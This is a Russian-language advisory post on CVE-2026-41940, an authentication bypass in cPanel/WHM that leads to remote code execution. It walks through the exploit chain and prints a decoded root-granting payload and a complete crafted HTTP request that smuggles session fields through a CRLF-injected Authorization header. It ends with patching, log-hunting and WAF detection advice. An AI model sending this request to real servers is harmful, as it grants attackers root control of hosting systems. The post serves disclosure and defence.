CVE-2026–41940 — уязвимость обхода авторизации, которая приводит к выполнению удаленного кода (RCE) в cPanel и WHM версиях после 11.40.
🫡 Метрики
Base Score: 9.8 CRITICAL
CWE: CWE-306
🫡 Кратко об уязвимости
При авторизации пользователя не важно, будет она успешной или нет, сервер создает файл авторизации на диске и ответит заголовком похожим на:
powershellSet-Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK,1bd3d4bf5ecbf83b660789ab0f3198fa;
Wg_mjzgt1hyfXefK — первая часть значения cookie указывает на файл авторизации.
Вторая часть 1bd3d4bf5ecbf83b660789ab0f3198fa — это хеш-обфускации для каждой сессии.
if ($encoder && length $session_ref->{'pass'}) {
local $session_ref->{'pass'} = $encoder->encode_data($session_ref->{'pass'});🫡 Части цепочки
1️⃣ }$encoder — значение получено на основании хэша обфускации. Если оно будет пустым, например
Wg_mjzgt1hyfXefK, то условие вернет false и данные не закодируются.2️⃣ Значение заголовка Authorization не очищаются должным образом и пропускают CRLF-инъекцию, позволяющую записать новые данные в файл авторизации.
3️⃣ После того как данные попали в файл сессии, нужно перезаписать их в файле кеша, который cPanel использует для авторизации. Для этого используется запрос, который вызовет функцию do_token_denied, например в
эксплойтах это
GET /scripts2/listaccts. 4️⃣ Установка
successful_internal_auth_with_timestamp значения в заголовке Authorization необходима для пропуска проверки пароля.🫡 Пример нагрузки после декодирования из Base64
shellroot:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
🫡 Пример CRLF-запроса
GET / HTTP/1.1
Host: target.com:2087
Authorization: Basic cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x
Cookie: whostmgrsession=%3aQSJN_sFdKZtCi2o_
🫡 Как защищаться
1) Обновиться.
2) Проверить логи сервера на цепочку запросов с минимальным временным
промежутком POST /login/?login_only=1 -> GET / c заголовком
Authorization -> GET /scripts2/listaccts.
3) Проверить недавно созданные сессионные файлы.
4) Правила на WAF/IDS, блокирующие запросы с неполным whostmgrsession
заголовком (отсутствие хеш-обфускации), и Authorization, содержащим
символы \r\n после декодирования из base64.